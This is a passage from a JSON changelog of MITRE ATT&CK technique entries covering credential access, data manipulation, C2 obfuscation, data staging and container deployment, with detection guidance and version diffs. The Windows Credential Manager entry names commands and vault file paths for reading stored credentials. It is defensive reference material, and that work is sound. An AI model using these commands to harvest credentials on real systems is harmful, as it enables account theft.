"macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:41:18.638000+00:00\", \"old_value\": \"2024-03-29 16:37:34.772000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.\", \"old_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418\", \"old_value\": \"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-23 15:35:53.793000+00:00", + "modified": "2024-10-15 16:44:35.906000+00:00", + "name": "Windows Credential Manager", + "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/004", + "external_id": "T1555.004" + }, + { + "source_name": "Malwarebytes The Windows Vault", + "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.", + "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/" + }, + { + "source_name": "Delpy Mimikatz Crendential Manager", + "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials" + }, + { + "source_name": "Microsoft Credential Locker", + "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft Credential Manager store", + "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store" + }, + { + "source_name": "Microsoft CredEnumerate", + "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea" + }, + { + "source_name": "passcape Windows Vault", + "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.", + "url": "https://www.passcape.com/windows_password_recovery_vault_explorer" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bernaldo Penas Antelo", + "Mugdha Peter Bansode", + "Uriel Kosayev", + "Vadim Khrykov" + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Process: OS API Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\u201cWindows Credentials\u201d).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:44:35.906000+00:00\", \"old_value\": \"2022-10-21 15:46:55.929000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:22:24.410000+00:00", + "modified": "2024-08-26 16:33:33.982000+00:00", + "name": "Stored Data Manipulation", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/001", + "external_id": "T1565.001" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "File: File Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:33:33.982000+00:00\", \"old_value\": \"2022-04-19 23:03:49.461000+00:00\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf\", \"old_value\": \"https://content.fireeye.com/apt/rpt-apt38\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:27:00.693000+00:00", + "modified": "2024-08-26 16:33:33.983000+00:00", + "name": "Transmitted Data Manipulation", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/002", + "external_id": "T1565.002" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:33:33.983000+00:00\", \"old_value\": \"2022-04-19 23:04:44.258000+00:00\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf\", \"old_value\": \"https://content.fireeye.com/apt/rpt-apt38\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:18.931000+00:00", + "modified": "2024-10-07 15:07:47.232000+00:00", + "name": "Data Obfuscation", + "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001", + "external_id": "T1001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Bitdefender FunnyDream Campaign November 2020", + "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-07 15:07:47.232000+00:00\", \"old_value\": \"2024-02-02 19:04:35.389000+00:00\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:58.938000+00:00", + "modified": "2024-09-30 13:28:37.415000+00:00", + "name": "Data Staged", + "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074", + "external_id": "T1074" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Shane Tully, @securitygypsy" + ], + "x_mitre_data_sources": [ + "File: File Access", + "File: File Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.415000+00:00\", \"old_value\": \"2022-07-20 20:07:40.167000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 21:13:10.467000+00:00", + "modified": "2024-08-26 16:28:39.920000+00:00", + "name": "Local Data Staging", + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074/001", + "external_id": "T1074.001" + }, + { + "source_name": "Prevailion DarkWatchman 2021", + "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", + "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Massimiliano Romano, BT Security" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:28:39.920000+00:00\", \"old_value\": \"2022-04-21 16:07:10.829000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/\", \"old_value\": \"https://www.prevailion.com/darkwatchman-new-fileless-techniques/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 21:14:58.206000+00:00", + "modified": "2024-09-30 13:28:37.414000+00:00", + "name": "Remote Data Staging", + "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074/002", + "external_id": "T1074.002" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.414000+00:00\", \"old_value\": \"2021-03-08 10:33:02.019000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:31.584000+00:00", + "modified": "2024-10-15 16:30:50.936000+00:00", + "name": "Data from Removable Media", + "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1025", + "external_id": "T1025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_system_requirements": [ + "Privileges to access removable media drive and files" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:30:50.936000+00:00\", \"old_value\": \"2021-10-15 22:17:35.218000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 16:51:26.020000+00:00", + "modified": "2024-10-15 15:06:17.124000+00:00", + "name": "Deploy Container", + "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web 